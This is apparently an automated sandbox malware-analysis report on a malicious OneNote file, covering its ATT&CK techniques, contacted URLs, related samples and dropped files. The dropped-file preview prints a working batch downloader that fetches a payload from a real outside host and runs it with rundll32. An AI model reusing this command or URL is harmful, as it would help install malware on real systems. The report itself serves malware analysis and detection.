Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	2 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Rundll32	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Source	Detection	Scanner	Label	Link
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://api.scheduler.	0%	URL Reputation	safe
https://api.scheduler.	0%	URL Reputation	safe
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	0%	Avira URL Cloud	safe
https://d.docs.live.net	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://make.powerautomate.com	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://nerulgymkhana.com/CCoN/01.gif	2%	Virustotal		Browse
https://nerulgymkhana.com/CCoN/01.gif	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://login.microsoftonline.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://shell.suite.office.com:1443	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://autodiscover-s.outlook.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://cdn.entity.	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://powerlift.acompli.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://cortana.ai	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.aadrm.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.microsoftstream.com/api/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://cr.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	Avira URL Cloud: safe	low
https://portal.office.com/account/?ref=ClientMeControl	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.274530600.0000027D500B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://graph.ppe.windows.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://officeci.azurewebsites.net/api/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.scheduler.	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://store.office.cn/addinstemplate	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://globaldisco.crm.dynamics.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://messaging.engagement.office.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://dev0-api.acompli.net/autodetect	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.diagnosticssdf.office.com/v2/feedback	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/groups	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://web.microsoftstream.com/video/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://dataservice.o365filtering.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://d.docs.live.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://ncus.contentsync.	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
http://weather.service.msn.com/data.aspx	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://apis.live.net/v5.0/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://messaging.lifecycle.office.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://pushchannel.1drv.ms	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://management.azure.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://outlook.office365.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://wus2.contentsync.	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://make.powerautomate.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/odc/insertmedia	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.office.net	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://incidents.diagnosticssdf.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://entitlement.diagnostics.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://substrate.office.com/search/api/v2/init	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://outlook.office.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://outlook.office365.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://webshell.suite.office.com	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://management.azure.com/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://messaging.lifecycle.office.com/getcustommessage16	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	false		high

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	800789
Start date and time:	2023-02-07 19:52:22 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Original.one
Detection:	MAL
Classification:	mal64.expl.evad.winONE@14/326@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .one Override analysis time to 240s for rundll32

Time	Type	Description
19:53:32	API Interceptor	12x Sleep call for process: powershell.exe modified
19:53:45	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NODE4-ASGB	note.one	Get hash	malicious	Browse	109.203.123.62
	https://lnkd.in/gJHSZYMD#b2tlZG1sX2NvdXJ0X2RvY2tldHNAb2tlZC51c2NvdXJ0cy5nb3Y=	Get hash	malicious	Browse	109.203.123.194
	http://dhl-mybill.accountis.net	Get hash	malicious	Browse	109.234.201.207
	U_0211.zip	Get hash	malicious	Browse	109.203.109.96
	Linux_amd64	Get hash	malicious	Browse	158.255.226.106
	a5hB51euRT.exe	Get hash	malicious	Browse	185.144.110.99
	aD7q0VGVnM.elf	Get hash	malicious	Browse	93.174.140.186
	Payment Remittance Advice 09022022.exe	Get hash	malicious	Browse	185.151.28.67
	http://trk.emailforyou.co.uk/f/a/PRsUsy_EnsYXd-ZlKecX3Q~~/AAAq-gA~/RgRk8FfIP0RYaHR0cHM6Ly9jbGljay5lbWFpbGZvcnlvdS5jby51ay9nYS93ZWJ2aWV3cy80LTIwNDgwMjA5My01Ny05MzYyNC05MzMyMS0xODMwNDEtdTM2ZDU2NDNhZFcFc3BjZXVCCmMDSCQPY8RnWCVSEnNiYWxtZUB2aWN0cmV4LmNvbVgEAAAACA~~	Get hash	malicious	Browse	158.255.46.189
	SecuriteInfo.com.Trojan.GenericKD.61507220.29657.4898.xlsx	Get hash	malicious	Browse	5.77.39.90
	SecuriteInfo.com.Trojan.Win32.Wacatac.Bml.10071.exe	Get hash	malicious	Browse	109.203.124.234
	qxRO14VSTD.dll	Get hash	malicious	Browse	185.199.22.2
	lMvwq53N1x.dll	Get hash	malicious	Browse	148.253.152.20
	KzNCczOeyE.dll	Get hash	malicious	Browse	109.75.172.209
	UjhHNEfOFP.dll	Get hash	malicious	Browse	77.111.227.188
	XzPa4QOz1i	Get hash	malicious	Browse	185.225.252.125
	SecuriteInfo.com.Variant.Tedy.164775.28245.exe	Get hash	malicious	Browse	109.203.124.234
	SecuriteInfo.com.Trojan.MSIL.Inject.10631.exe	Get hash	malicious	Browse	109.203.124.234
	miori.arm7-20220625-0900	Get hash	malicious	Browse	185.225.252.141
	Rxpb2zKOR3.exe	Get hash	malicious	Browse	213.175.217.57

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Cancellation.one	Get hash	malicious	Browse	109.203.123.62
	DHL Original Document.exe	Get hash	malicious	Browse	109.203.123.62
	DHL ORIGINAL DOCUMENTS.exe	Get hash	malicious	Browse	109.203.123.62
	DHL ORIGINAL DOCUMENTS.exe	Get hash	malicious	Browse	109.203.123.62
	EMIR....vbs	Get hash	malicious	Browse	109.203.123.62
	transferencia........vbe	Get hash	malicious	Browse	109.203.123.62
	Legal Notice.one	Get hash	malicious	Browse	109.203.123.62
	note.one	Get hash	malicious	Browse	109.203.123.62
	Review.hta	Get hash	malicious	Browse	109.203.123.62
	Item.one	Get hash	malicious	Browse	109.203.123.62
	QmWGYm2HqaT7gVV3khAweBFc4LcX7ozKSJmvd5kyf35fub.exe	Get hash	malicious	Browse	109.203.123.62
	Cancellation.one	Get hash	malicious	Browse	109.203.123.62
	QmWGYm2HqaT7gVV3khAweBFc4LcX7ozKSJmvd5kyf35fub.exe	Get hash	malicious	Browse	109.203.123.62
	QmYAd15qhMNeFaDy9nmbTd9GMoJThq1mKKKJ4cyiv1uFyr.exe	Get hash	malicious	Browse	109.203.123.62
	QmYAd15qhMNeFaDy9nmbTd9GMoJThq1mKKKJ4cyiv1uFyr.exe	Get hash	malicious	Browse	109.203.123.62
	Revised_Order_Document.pdf.lnk	Get hash	malicious	Browse	109.203.123.62
	prodotto elencato.vbe	Get hash	malicious	Browse	109.203.123.62
	T0mfmDdkwX.exe	Get hash	malicious	Browse	109.203.123.62
	SgcmXDoQO8.exe	Get hash	malicious	Browse	109.203.123.62
	unpaid_1376-February-03.one	Get hash	malicious	Browse	109.203.123.62

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.1809546211741235
Encrypted:	false
SSDEEP:	3:2EKDDGKSSJJFsLTzTH3x8J3k4XgOFyKIEwOUr2qKMJAFm7zBJTTeJ6Fk9zBJTKyn:0SGYzLh8JnXETOAKMdXzTeJ62Jzp9Rrn
MD5:	01334CD9D21D65FBA8AD4ECABD9A3CB1
SHA1:	09372B85212386FE46AE5C72DDFDF94A16CBEBCD
SHA-256:	CCDE06F3D61E0D17B1FB72CD6882A3E592BF88992287B9227EF50AF7F570B09C
SHA-512:	34BDF192D4327CB92432871EF2544FCE92F3BFBEA93874E3576A58BD687174DB754F75A509264CADAF4E33E6D502A0B3A28ED5BE8B5C3CCF2EB3389F2683540B
Malicious:	true
Preview:	..@echo off..powershell Invoke-WebRequest -URI https://nerulgymkhana.com/CCoN/01.gif -OutFile C:\programdata\putty.jpg..rundll32 C:\programdata\putty.jpg,Wind..exit....

Process:	C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	152234
Entropy (8bit):	5.35599806489183
Encrypted:	false
SSDEEP:	1536:/+C7/gfYBIB9guwULQ9DQN+zQKk4F77nXmvidlXRcE6Lcz6I:NmQ9DQN+zpX/l
MD5:	476810F58834EEAB66B3DCD3C374A4DF
SHA1:	818A97076DAA80882E81C4F79F6F37AA5BE5A4BA
SHA-256:	F520A9AA617486C6C38D1251B98509172B1851C9EB959DFBB3AC01B6825CFEF9
SHA-512:	9FF652827817D33BD0AB7F7D966D146CDA5C3EC412A38542833F0662876F11EA6FBCEAB04894EECBD19B3B4B69F1F9DE7E52AFA48DAA34126B82B898E3F74858
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2023-02-07T18:53:23">.. Build: 16.0.16130.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[MAX.ResourceId]" o:authorityUrl="[ADALAuthorityU

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Original.one

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\in.cmd

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D95B36A3-A6E1-458A-A353-27D51DD43A0C

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\header

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000005.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000006.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000007.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000008.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000009.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000A.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000B.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000C.bin

